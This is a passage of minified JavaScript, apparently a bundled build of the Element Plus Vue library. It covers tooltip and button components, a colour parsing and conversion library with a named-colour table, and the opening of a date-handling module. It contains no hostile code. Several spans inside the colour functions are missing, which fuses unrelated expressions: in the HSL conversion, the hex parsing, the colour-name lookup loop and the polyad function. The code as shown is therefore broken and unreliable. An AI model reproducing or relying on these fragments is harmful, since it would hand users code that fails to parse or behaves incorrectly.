0}),t({popperContentRef:h,popperInstanceRef:c,updatePopper:B,contentStyle:P}),(U,z)=>(D(),K("div",bt({ref_key:"contentRef",ref:h},r(x),{style:r(P),class:r(R),tabindex:"-1",onMouseenter:z[0]||(z[0]=L=>U.$emit("mouseenter",L)),onMouseleave:z[1]||(z[1]=L=>U.$emit("mouseleave",L))}),[ee(r(zu),{trapped:r(s),"trap-on-focus-in":!0,"focus-trap-el":r(h),"focus-start-el":r(o),onFocusAfterTrapped:r(u),onFocusAfterReleased:r(l),onFocusin:r(i),onFocusoutPrevented:r(f),onReleaseRequested:r(m)},{default:le(()=>[$e(U.$slots,"default")]),_:3},8,["trapped","focus-trap-el","focus-start-el","onFocusAfterTrapped","onFocusAfterReleased","onFocusin","onFocusoutPrevented","onReleaseRequested"])],16))}});var nc=Ae(tc,[["__file","content.vue"]]);const ac=en(ku),Nn=Symbol("elTooltip"),so=ye({...Di,...oo,appendTo:{type:ae([String,Object])},content:{type:String,default:""},rawContent:{type:Boolean,default:!1},persistent:Boolean,ariaLabel:String,visible:{type:ae(Boolean),default:null},transition:String,teleported:{type:Boolean,default:!0},disabled:Boolean}),lo=ye({...ao,disabled:Boolean,trigger:{type:ae([String,Array]),default:"hover"},triggerKeys:{type:ae(Array),default:()=>[Oe.enter,Oe.space]}}),{useModelToggleProps:rc,useModelToggleEmits:oc,useModelToggle:sc}=Kr("visible"),lc=ye({...eo,...rc,...so,...lo,...to,showArrow:{type:Boolean,default:!0}}),ic=[...oc,"before-show","before-hide","show","hide","open","close"],uc=(e,t)=>Fe(e)?e.includes(t):e===t,jt=(e,t,n)=>a=>{uc(r(e),t)&&n(a)},cc=re({name:"ElTooltipTrigger"}),dc=re({...cc,props:lo,setup(e,{expose:t}){const n=e,a=Te("tooltip"),{controlled:o,id:s,open:l,onOpen:u,onClose:i,onToggle:f}=Ce(Nn,void 0),m=j(null),d=()=>{if(r(o)||n.disabled)return!0},g=Ve(n,"trigger"),h=St(d,jt(g,"hover",u)),v=St(d,jt(g,"hover",i)),c=St(d,jt(g,"click",x=>{x.button===0&&f(x)})),k=St(d,jt(g,"focus",u)),y=St(d,jt(g,"focus",i)),w=St(d,jt(g,"contextmenu",x=>{x.preventDefault(),f(x)})),N=St(d,x=>{const{code:R}=x;n.triggerKeys.includes(R)&&(x.preventDefault(),f(x))});return t({triggerRef:m}),(x,R)=>(D(),de(r(Pu),{id:r(s),"virtual-ref":x.virtualRef,open:r(l),"virtual-triggering":x.virtualTriggering,class:A(r(a).e("trigger")),onBlur:r(y),onClick:r(c),onContextmenu:r(w),onFocus:r(k),onMouseenter:r(h),onMouseleave:r(v),onKeydown:r(N)},{default:le(()=>[$e(x.$slots,"default")]),_:3},8,["id","virtual-ref","open","virtual-triggering","class","onBlur","onClick","onContextmenu","onFocus","onMouseenter","onMouseleave","onKeydown"]))}});var fc=Ae(dc,[["__file","trigger.vue"]]);const pc=re({name:"ElTooltipContent",inheritAttrs:!1}),vc=re({...pc,props:so,setup(e,{expose:t}){const n=e,{selector:a}=Zr(),o=Te("tooltip"),s=j(null),l=j(!1),{controlled:u,id:i,open:f,trigger:m,onClose:d,onOpen:g,onShow:h,onHide:v,onBeforeShow:c,onBeforeHide:k}=Ce(Nn,void 0),y=T(()=>n.transition||`${o.namespace.value}-fade-in-linear`),w=T(()=>n.persistent);xt(()=>{l.value=!0});const N=T(()=>r(w)?!0:r(f)),x=T(()=>n.disabled?!1:r(f)),R=T(()=>n.appendTo||a.value),P=T(()=>{var C;return(C=n.style)!=null?C:{}}),_=T(()=>!r(f)),O=()=>{v()},H=()=>{if(r(u))return!0},V=St(H,()=>{n.enterable&&r(m)==="hover"&&g()}),B=St(H,()=>{r(m)==="hover"&&d()}),J=()=>{var C,M;(M=(C=s.value)==null?void 0:C.updatePopper)==null||M.call(C),c==null||c()},U=()=>{k==null||k()},z=()=>{h(),F=Lr(T(()=>{var C;return(C=s.value)==null?void 0:C.popperContentRef}),()=>{if(r(u))return;r(m)!=="hover"&&d()})},L=()=>{n.virtualTriggering||d()};let F;return fe(()=>r(f),C=>{C||F==null||F()},{flush:"post"}),fe(()=>n.content,()=>{var C,M;(M=(C=s.value)==null?void 0:C.updatePopper)==null||M.call(C)}),t({contentRef:s}),(C,M)=>(D(),de(jo,{disabled:!C.teleported,to:r(R)},[ee(ia,{name:r(y),onAfterLeave:O,onBeforeEnter:J,onAfterEnter:z,onBeforeLeave:U},{default:le(()=>[r(N)?ze((D(),de(r(nc),bt({key:0,id:r(i),ref_key:"contentRef",ref:s},C.$attrs,{"aria-label":C.ariaLabel,"aria-hidden":r(_),"boundaries-padding":C.boundariesPadding,"fallback-placements":C.fallbackPlacements,"gpu-acceleration":C.gpuAcceleration,offset:C.offset,placement:C.placement,"popper-options":C.popperOptions,strategy:C.strategy,effect:C.effect,enterable:C.enterable,pure:C.pure,"popper-class":C.popperClass,"popper-style":[C.popperStyle,r(P)],"reference-el":C.referenceEl,"trigger-target-el":C.triggerTargetEl,visible:r(x),"z-index":C.zIndex,onMouseenter:r(V),onMouseleave:r(B),onBlur:L,onClose:r(d)}),{default:le(()=>[l.value?ne("v-if",!0):$e(C.$slots,"default",{key:0})]),_:3},16,["id","aria-label","aria-hidden","boundaries-padding","fallback-placements","gpu-acceleration","offset","placement","popper-options","strategy","effect","enterable","pure","popper-class","popper-style","reference-el","trigger-target-el","visible","z-index","onMouseenter","onMouseleave","onClose"])),[[_t,r(x)]]):ne("v-if",!0)]),_:3},8,["name"])],8,["disabled","to"]))}});var hc=Ae(vc,[["__file","content.vue"]]);const mc=["innerHTML"],gc={key:1},bc=re({name:"ElTooltip"}),yc=re({...bc,props:lc,emits:ic,setup(e,{expose:t,emit:n}){const a=e;Ti();const o=Gr(),s=j(),l=j(),u=()=>{var y;const w=r(s);w&&((y=w.popperInstanceRef)==null||y.update())},i=j(!1),f=j(),{show:m,hide:d,hasUpdateHandler:g}=sc({indicator:i,toggleReason:f}),{onOpen:h,onClose:v}=Pi({showAfter:Ve(a,"showAfter"),hideAfter:Ve(a,"hideAfter"),autoClose:Ve(a,"autoClose"),open:m,close:d}),c=T(()=>Hr(a.visible)&&!g.value);dt(Nn,{controlled:c,id:o,open:Wo(i),trigger:Ve(a,"trigger"),onOpen:y=>{h(y)},onClose:y=>{v(y)},onToggle:y=>{r(i)?v(y):h(y)},onShow:()=>{n("show",f.value)},onHide:()=>{n("hide",f.value)},onBeforeShow:()=>{n("before-show",f.value)},onBeforeHide:()=>{n("before-hide",f.value)},updatePopper:u}),fe(()=>a.disabled,y=>{y&&i.value&&(i.value=!1)});const k=y=>{var w,N;const x=(N=(w=l.value)==null?void 0:w.contentRef)==null?void 0:N.popperContentRef,R=(y==null?void 0:y.relatedTarget)||document.activeElement;return x&&x.contains(R)};return Ko(()=>i.value&&d()),t({popperRef:s,contentRef:l,isFocusInsideContent:k,updatePopper:u,onOpen:h,onClose:v,hide:d}),(y,w)=>(D(),de(r(ac),{ref_key:"popperRef",ref:s,role:y.role},{default:le(()=>[ee(fc,{disabled:y.disabled,trigger:y.trigger,"trigger-keys":y.triggerKeys,"virtual-ref":y.virtualRef,"virtual-triggering":y.virtualTriggering},{default:le(()=>[y.$slots.default?$e(y.$slots,"default",{key:0}):ne("v-if",!0)]),_:3},8,["disabled","trigger","trigger-keys","virtual-ref","virtual-triggering"]),ee(hc,{ref_key:"contentRef",ref:l,"aria-label":y.ariaLabel,"boundaries-padding":y.boundariesPadding,content:y.content,disabled:y.disabled,effect:y.effect,enterable:y.enterable,"fallback-placements":y.fallbackPlacements,"hide-after":y.hideAfter,"gpu-acceleration":y.gpuAcceleration,offset:y.offset,persistent:y.persistent,"popper-class":y.popperClass,"popper-style":y.popperStyle,placement:y.placement,"popper-options":y.popperOptions,pure:y.pure,"raw-content":y.rawContent,"reference-el":y.referenceEl,"trigger-target-el":y.triggerTargetEl,"show-after":y.showAfter,strategy:y.strategy,teleported:y.teleported,transition:y.transition,"virtual-triggering":y.virtualTriggering,"z-index":y.zIndex,"append-to":y.appendTo},{default:le(()=>[$e(y.$slots,"content",{},()=>[y.rawContent?(D(),K("span",{key:0,innerHTML:y.content},null,8,mc)):(D(),K("span",gc,he(y.content),1))]),y.showArrow?(D(),de(r(Cu),{key:0,"arrow-offset":y.arrowOffset},null,8,["arrow-offset"])):ne("v-if",!0)]),_:3},8,["aria-label","boundaries-padding","content","disabled","effect","enterable","fallback-placements","hide-after","gpu-acceleration","offset","persistent","popper-class","popper-style","placement","popper-options","pure","raw-content","reference-el","trigger-target-el","show-after","strategy","teleported","transition","virtual-triggering","z-index","append-to"])]),_:3},8,["role"]))}});var wc=Ae(yc,[["__file","tooltip.vue"]]);const kc=en(wc),io=Symbol("buttonGroupContextKey"),Sc=(e,t)=>{ei({from:"type.text",replacement:"link",version:"3.0.0",scope:"props",ref:"https://element-plus.org/en-US/component/button.html#button-attributes"},T(()=>e.type==="text"));const n=Ce(io,void 0),a=Bi("button"),{form:o}=Ma(),s=Ca(T(()=>n==null?void 0:n.size)),l=xa(),u=j(),i=$n(),f=T(()=>e.type||(n==null?void 0:n.type)||""),m=T(()=>{var v,c,k;return(k=(c=e.autoInsertSpace)!=null?c:(v=a.value)==null?void 0:v.autoInsertSpace)!=null?k:!1}),d=T(()=>e.tag==="button"?{ariaDisabled:l.value||e.loading,disabled:l.value||e.loading,autofocus:e.autofocus,type:e.nativeType}:{}),g=T(()=>{var v;const c=(v=i.default)==null?void 0:v.call(i);if(m.value&&(c==null?void 0:c.length)===1){const k=c[0];if((k==null?void 0:k.type)===Mr){const y=k.children;return new RegExp("^\\p{Unified_Ideograph}{2}$","u").test(y.trim())}}return!1});return{_disabled:l,_size:s,_type:f,_ref:u,_props:d,shouldAddSpace:g,handleClick:v=>{e.nativeType==="reset"&&(o==null||o.resetFields()),t("click",v)}}},_c=["default","primary","success","warning","info","danger","text",""],Cc=["button","submit","reset"],ea=ye({size:Sa,disabled:Boolean,type:{type:String,values:_c,default:""},icon:{type:Dn},nativeType:{type:String,values:Cc,default:"button"},loading:Boolean,loadingIcon:{type:Dn,default:()=>jr},plain:Boolean,text:Boolean,link:Boolean,bg:Boolean,autofocus:Boolean,round:Boolean,circle:Boolean,color:String,dark:Boolean,autoInsertSpace:{type:Boolean,default:void 0},tag:{type:ae([String,Object]),default:"button"}}),xc={click:e=>e instanceof MouseEvent};function Be(e,t){Mc(e)&&(e="100%");var n=Tc(e);return e=t===360?e:Math.min(t,Math.max(0,parseFloat(e))),n&&(e=parseInt(String(e*t),10)/100),Math.abs(e-t)<1e-6?1:(t===360?e=(e<0?e%t+t:e%t)/parseFloat(String(t)):e=e%t/parseFloat(String(t)),e)}function yn(e){return Math.min(1,Math.max(0,e))}function Mc(e){return typeof e=="string"&&e.indexOf(".")!==-1&&parseFloat(e)===1}function Tc(e){return typeof e=="string"&&e.indexOf("%")!==-1}function uo(e){return e=parseFloat(e),(isNaN(e)||e<0||e>1)&&(e=1),e}function wn(e){return e<=1?"".concat(Number(e)*100,"%"):e}function Nt(e){return e.length===1?"0"+e:String(e)}function Dc(e,t,n){return{r:Be(e,255)*255,g:Be(t,255)*255,b:Be(n,255)*255}}function pr(e,t,n){e=Be(e,255),t=Be(t,255),n=Be(n,255);var a=Math.max(e,t,n),o=Math.min(e,t,n),s=0,l=0,u=(a+o)/2;if(a===o)l=0,s=0;else{var i=a-o;switch(l=u>.5?i/(2-a-o):i/(a+o),a){case e:s=(t-n)/i+(t1&&(n-=1),n<1/6?e+(t-e)*(6*n):n<1/2?t:n<2/3?e+(t-e)*(2/3-n)*6:e}function Pc(e,t,n){var a,o,s;if(e=Be(e,360),t=Be(t,100),n=Be(n,100),t===0)o=n,s=n,a=n;else{var l=n<.5?n*(1+t):n+t-n*t,u=2*n-l;a=Yn(u,l,e+1/3),o=Yn(u,l,e),s=Yn(u,l,e-1/3)}return{r:a*255,g:o*255,b:s*255}}function vr(e,t,n){e=Be(e,255),t=Be(t,255),n=Be(n,255);var a=Math.max(e,t,n),o=Math.min(e,t,n),s=0,l=a,u=a-o,i=a===0?0:u/a;if(a===o)s=0;else{switch(a){case e:s=(t-n)/u+(t>16,g:(e&65280)>>8,b:e&255}}var ta={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",darkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",goldenrod:"#daa520",gold:"#ffd700",gray:"#808080",green:"#008000",greenyellow:"#adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",lavenderblush:"#fff0f5",lavender:"#e6e6fa",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhite:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a460",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"};function Rc(e){var t={r:0,g:0,b:0},n=1,a=null,o=null,s=null,l=!1,u=!1;return typeof e=="string"&&(e=Nc(e)),typeof e=="object"&&(kt(e.r)&&kt(e.g)&&kt(e.b)?(t=Dc(e.r,e.g,e.b),l=!0,u=String(e.r).substr(-1)==="%"?"prgb":"rgb"):kt(e.h)&&kt(e.s)&&kt(e.v)?(a=wn(e.s),o=wn(e.v),t=Oc(e.h,a,o),l=!0,u="hsv"):kt(e.h)&&kt(e.s)&&kt(e.l)&&(a=wn(e.s),s=wn(e.l),t=Pc(e.h,a,s),l=!0,u="hsl"),Object.prototype.hasOwnProperty.call(e,"a")&&(n=e.a)),n=uo(n),{ok:l,format:e.format||u,r:Math.min(255,Math.max(t.r,0)),g:Math.min(255,Math.max(t.g,0)),b:Math.min(255,Math.max(t.b,0)),a:n}}var Ic="[-\\+]?\\d+%?",Fc="[-\\+]?\\d*\\.\\d+%?",At="(?:".concat(Fc,")|(?:").concat(Ic,")"),jn="[\\s|\\(]+(".concat(At,")[,|\\s]+(").concat(At,")[,|\\s]+(").concat(At,")\\s*\\)?"),Wn="[\\s|\\(]+(".concat(At,")[,|\\s]+(").concat(At,")[,|\\s]+(").concat(At,")[,|\\s]+(").concat(At,")\\s*\\)?"),ct={CSS_UNIT:new RegExp(At),rgb:new RegExp("rgb"+jn),rgba:new RegExp("rgba"+Wn),hsl:new RegExp("hsl"+jn),hsla:new RegExp("hsla"+Wn),hsv:new RegExp("hsv"+jn),hsva:new RegExp("hsva"+Wn),hex3:/^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,hex6:/^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/,hex4:/^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,hex8:/^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/};function Nc(e){if(e=e.trim().toLowerCase(),e.length===0)return!1;var t=!1;if(ta[e])e=ta[e],t=!0;else if(e==="transparent")return{r:0,g:0,b:0,a:0,format:"name"};var n=ct.rgb.exec(e);return n?{r:n[1],g:n[2],b:n[3]}:(n=ct.rgba.exec(e),n?{r:n[1],g:n[2],b:n[3],a:n[4]}:(n=ct.hsl.exec(e),n?{h:n[1],s:n[2],l:n[3]}:(n=ct.hsla.exec(e),n?{h:n[1],s:n[2],l:n[3],a:n[4]}:(n=ct.hsv.exec(e),n?{h:n[1],s:n[2],v:n[3]}:(n=ct.hsva.exec(e),n?{h:n[1],s:n[2],v:n[3],a:n[4]}:(n=ct.hex8.exec(e),n?{r:Xe(n[1]),g:Xe(n[2]),b:Xe(n[3]),a:mr(n[4]),format:t?"name":"hex8"}:(n=ct.hex6.exec(e),n?{r:Xe(n[1]),g:Xe(n[2]),b:Xe(n[3]),format:t?"name":"hex"}:(n=ct.hex4.exec(e),n?{r:Xe(n[1]+n[1]),g:Xe(n[2]+n[2]),b:Xe(n[3]+n[3]),a:mr(n[4]+n[4]),format:t?"name":"hex8"}:(n=ct.hex3.exec(e),n?{r:Xe(n[1]+n[1]),g:Xe(n[2]+n[2]),b:Xe(n[3]+n[3]),format:t?"name":"hex"}:!1)))))))))}function kt(e){return!!ct.CSS_UNIT.exec(String(e))}var Lc=function(){function e(t,n){t===void 0&&(t=""),n===void 0&&(n={});var a;if(t instanceof e)return t;typeof t=="number"&&(t=Ac(t)),this.originalInput=t;var o=Rc(t);this.originalInput=t,this.r=o.r,this.g=o.g,this.b=o.b,this.a=o.a,this.roundA=Math.round(100*this.a)/100,this.format=(a=n.format)!==null&&a!==void 0?a:o.format,this.gradientType=n.gradientType,this.r<1&&(this.r=Math.round(this.r)),this.g<1&&(this.g=Math.round(this.g)),this.b<1&&(this.b=Math.round(this.b)),this.isValid=o.ok}return e.prototype.isDark=function(){return this.getBrightness()<128},e.prototype.isLight=function(){return!this.isDark()},e.prototype.getBrightness=function(){var t=this.toRgb();return(t.r*299+t.g*587+t.b*114)/1e3},e.prototype.getLuminance=function(){var t=this.toRgb(),n,a,o,s=t.r/255,l=t.g/255,u=t.b/255;return s<=.03928?n=s/12.92:n=Math.pow((s+.055)/1.055,2.4),l<=.03928?a=l/12.92:a=Math.pow((l+.055)/1.055,2.4),u<=.03928?o=u/12.92:o=Math.pow((u+.055)/1.055,2.4),.2126*n+.7152*a+.0722*o},e.prototype.getAlpha=function(){return this.a},e.prototype.setAlpha=function(t){return this.a=uo(t),this.roundA=Math.round(100*this.a)/100,this},e.prototype.isMonochrome=function(){var t=this.toHsl().s;return t===0},e.prototype.toHsv=function(){var t=vr(this.r,this.g,this.b);return{h:t.h*360,s:t.s,v:t.v,a:this.a}},e.prototype.toHsvString=function(){var t=vr(this.r,this.g,this.b),n=Math.round(t.h*360),a=Math.round(t.s*100),o=Math.round(t.v*100);return this.a===1?"hsv(".concat(n,", ").concat(a,"%, ").concat(o,"%)"):"hsva(".concat(n,", ").concat(a,"%, ").concat(o,"%, ").concat(this.roundA,")")},e.prototype.toHsl=function(){var t=pr(this.r,this.g,this.b);return{h:t.h*360,s:t.s,l:t.l,a:this.a}},e.prototype.toHslString=function(){var t=pr(this.r,this.g,this.b),n=Math.round(t.h*360),a=Math.round(t.s*100),o=Math.round(t.l*100);return this.a===1?"hsl(".concat(n,", ").concat(a,"%, ").concat(o,"%)"):"hsla(".concat(n,", ").concat(a,"%, ").concat(o,"%, ").concat(this.roundA,")")},e.prototype.toHex=function(t){return t===void 0&&(t=!1),hr(this.r,this.g,this.b,t)},e.prototype.toHexString=function(t){return t===void 0&&(t=!1),"#"+this.toHex(t)},e.prototype.toHex8=function(t){return t===void 0&&(t=!1),Ec(this.r,this.g,this.b,this.a,t)},e.prototype.toHex8String=function(t){return t===void 0&&(t=!1),"#"+this.toHex8(t)},e.prototype.toHexShortString=function(t){return t===void 0&&(t=!1),this.a===1?this.toHexString(t):this.toHex8String(t)},e.prototype.toRgb=function(){return{r:Math.round(this.r),g:Math.round(this.g),b:Math.round(this.b),a:this.a}},e.prototype.toRgbString=function(){var t=Math.round(this.r),n=Math.round(this.g),a=Math.round(this.b);return this.a===1?"rgb(".concat(t,", ").concat(n,", ").concat(a,")"):"rgba(".concat(t,", ").concat(n,", ").concat(a,", ").concat(this.roundA,")")},e.prototype.toPercentageRgb=function(){var t=function(n){return"".concat(Math.round(Be(n,255)*100),"%")};return{r:t(this.r),g:t(this.g),b:t(this.b),a:this.a}},e.prototype.toPercentageRgbString=function(){var t=function(n){return Math.round(Be(n,255)*100)};return this.a===1?"rgb(".concat(t(this.r),"%, ").concat(t(this.g),"%, ").concat(t(this.b),"%)"):"rgba(".concat(t(this.r),"%, ").concat(t(this.g),"%, ").concat(t(this.b),"%, ").concat(this.roundA,")")},e.prototype.toName=function(){if(this.a===0)return"transparent";if(this.a<1)return!1;for(var t="#"+hr(this.r,this.g,this.b,!1),n=0,a=Object.entries(ta);n=0,s=!n&&o&&(t.startsWith("hex")||t==="name");return s?t==="name"&&this.a===0?this.toName():this.toRgbString():(t==="rgb"&&(a=this.toRgbString()),t==="prgb"&&(a=this.toPercentageRgbString()),(t==="hex"||t==="hex6")&&(a=this.toHexString()),t==="hex3"&&(a=this.toHexString(!0)),t==="hex4"&&(a=this.toHex8String(!0)),t==="hex8"&&(a=this.toHex8String()),t==="name"&&(a=this.toName()),t==="hsl"&&(a=this.toHslString()),t==="hsv"&&(a=this.toHsvString()),a||this.toHexString())},e.prototype.toNumber=function(){return(Math.round(this.r)<<16)+(Math.round(this.g)<<8)+Math.round(this.b)},e.prototype.clone=function(){return new e(this.toString())},e.prototype.lighten=function(t){t===void 0&&(t=10);var n=this.toHsl();return n.l+=t/100,n.l=yn(n.l),new e(n)},e.prototype.brighten=function(t){t===void 0&&(t=10);var n=this.toRgb();return n.r=Math.max(0,Math.min(255,n.r-Math.round(255*-(t/100)))),n.g=Math.max(0,Math.min(255,n.g-Math.round(255*-(t/100)))),n.b=Math.max(0,Math.min(255,n.b-Math.round(255*-(t/100)))),new e(n)},e.prototype.darken=function(t){t===void 0&&(t=10);var n=this.toHsl();return n.l-=t/100,n.l=yn(n.l),new e(n)},e.prototype.tint=function(t){return t===void 0&&(t=10),this.mix("white",t)},e.prototype.shade=function(t){return t===void 0&&(t=10),this.mix("black",t)},e.prototype.desaturate=function(t){t===void 0&&(t=10);var n=this.toHsl();return n.s-=t/100,n.s=yn(n.s),new e(n)},e.prototype.saturate=function(t){t===void 0&&(t=10);var n=this.toHsl();return n.s+=t/100,n.s=yn(n.s),new e(n)},e.prototype.greyscale=function(){return this.desaturate(100)},e.prototype.spin=function(t){var n=this.toHsl(),a=(n.h+t)%360;return n.h=a<0?360+a:a,new e(n)},e.prototype.mix=function(t,n){n===void 0&&(n=50);var a=this.toRgb(),o=new e(t).toRgb(),s=n/100,l={r:(o.r-a.r)*s+a.r,g:(o.g-a.g)*s+a.g,b:(o.b-a.b)*s+a.b,a:(o.a-a.a)*s+a.a};return new e(l)},e.prototype.analogous=function(t,n){t===void 0&&(t=6),n===void 0&&(n=30);var a=this.toHsl(),o=360/n,s=[this];for(a.h=(a.h-(o*t>>1)+720)%360;--t;)a.h=(a.h+o)%360,s.push(new e(a));return s},e.prototype.complement=function(){var t=this.toHsl();return t.h=(t.h+180)%360,new e(t)},e.prototype.monochromatic=function(t){t===void 0&&(t=6);for(var n=this.toHsv(),a=n.h,o=n.s,s=n.v,l=[],u=1/t;t--;)l.push(new e({h:a,s:o,v:s})),s=(s+u)%1;return l},e.prototype.splitcomplement=function(){var t=this.toHsl(),n=t.h;return[this,new e({h:(n+72)%360,s:t.s,l:t.l}),new e({h:(n+216)%360,s:t.s,l:t.l})]},e.prototype.onBackground=function(t){var n=this.toRgb(),a=new e(t).toRgb(),o=n.a+a.a*(1-n.a);return new e({r:(n.r*n.a+a.r*a.a*(1-n.a))/o,g:(n.g*n.a+a.g*a.a*(1-n.a))/o,b:(n.b*n.a+a.b*a.a*(1-n.a))/o,a:o})},e.prototype.triad=function(){return this.polyad(3)},e.prototype.tetrad=function(){return this.polyad(4)},e.prototype.polyad=function(t){for(var n=this.toHsl(),a=n.h,o=[this],s=360/t,l=1;l{let a={};const o=e.color;if(o){const s=new Lc(o),l=e.dark?s.tint(20).toString():Pt(s,20);if(e.plain)a=n.cssVarBlock({"bg-color":e.dark?Pt(s,90):s.tint(90).toString(),"text-color":o,"border-color":e.dark?Pt(s,50):s.tint(50).toString(),"hover-text-color":`var(${n.cssVarName("color-white")})`,"hover-bg-color":o,"hover-border-color":o,"active-bg-color":l,"active-text-color":`var(${n.cssVarName("color-white")})`,"active-border-color":l}),t.value&&(a[n.cssVarBlockName("disabled-bg-color")]=e.dark?Pt(s,90):s.tint(90).toString(),a[n.cssVarBlockName("disabled-text-color")]=e.dark?Pt(s,50):s.tint(50).toString(),a[n.cssVarBlockName("disabled-border-color")]=e.dark?Pt(s,80):s.tint(80).toString());else{const u=e.dark?Pt(s,30):s.tint(30).toString(),i=s.isDark()?`var(${n.cssVarName("color-white")})`:`var(${n.cssVarName("color-black")})`;if(a=n.cssVarBlock({"bg-color":o,"text-color":i,"border-color":o,"hover-bg-color":u,"hover-text-color":i,"hover-border-color":u,"active-bg-color":l,"active-border-color":l}),t.value){const f=e.dark?Pt(s,50):s.tint(50).toString();a[n.cssVarBlockName("disabled-bg-color")]=f,a[n.cssVarBlockName("disabled-text-color")]=e.dark?"rgba(255, 255, 255, 0.5)":`var(${n.cssVarName("color-white")})`,a[n.cssVarBlockName("disabled-border-color")]=f}}}return a})}const Bc=re({name:"ElButton"}),Hc=re({...Bc,props:ea,emits:xc,setup(e,{expose:t,emit:n}){const a=e,o=Vc(a),s=Te("button"),{_ref:l,_size:u,_type:i,_disabled:f,_props:m,shouldAddSpace:d,handleClick:g}=Sc(a,n);return t({ref:l,size:u,type:i,disabled:f,shouldAddSpace:d}),(h,v)=>(D(),de(tt(h.tag),bt({ref_key:"_ref",ref:l},r(m),{class:[r(s).b(),r(s).m(r(i)),r(s).m(r(u)),r(s).is("disabled",r(f)),r(s).is("loading",h.loading),r(s).is("plain",h.plain),r(s).is("round",h.round),r(s).is("circle",h.circle),r(s).is("text",h.text),r(s).is("link",h.link),r(s).is("has-bg",h.bg)],style:r(o),onClick:r(g)}),{default:le(()=>[h.loading?(D(),K(_e,{key:0},[h.$slots.loading?$e(h.$slots,"loading",{key:0}):(D(),de(r(ke),{key:1,class:A(r(s).is("loading"))},{default:le(()=>[(D(),de(tt(h.loadingIcon)))]),_:1},8,["class"]))],64)):h.icon||h.$slots.icon?(D(),de(r(ke),{key:1},{default:le(()=>[h.icon?(D(),de(tt(h.icon),{key:0})):$e(h.$slots,"icon",{key:1})]),_:3})):ne("v-if",!0),h.$slots.default?(D(),K("span",{key:2,class:A({[r(s).em("text","expand")]:r(d)})},[$e(h.$slots,"default")],2)):ne("v-if",!0)]),_:3},16,["class","style","onClick"]))}});var zc=Ae(Hc,[["__file","button.vue"]]);const Yc={size:ea.size,type:ea.type},jc=re({name:"ElButtonGroup"}),Wc=re({...jc,props:Yc,setup(e){const t=e;dt(io,ua({size:Ve(t,"size"),type:Ve(t,"type")}));const n=Te("button");return(a,o)=>(D(),K("div",{class:A(`${r(n).b("group")}`)},[$e(a.$slots,"default")],2))}});var co=Ae(Wc,[["__file","button-group.vue"]]);const On=en(zc,{ButtonGroup:co});Kl(co);var fo={exports:{}};(function(e,t){(function(n,a){e.exports=a()})(Mt,function(){var n=1e3,a=6e4,o=36e5,s="millisecond",l="second",u="minute",i="hour",f="day",m="week",d="month",g="quarter",h="year",v="date",c="Invalid 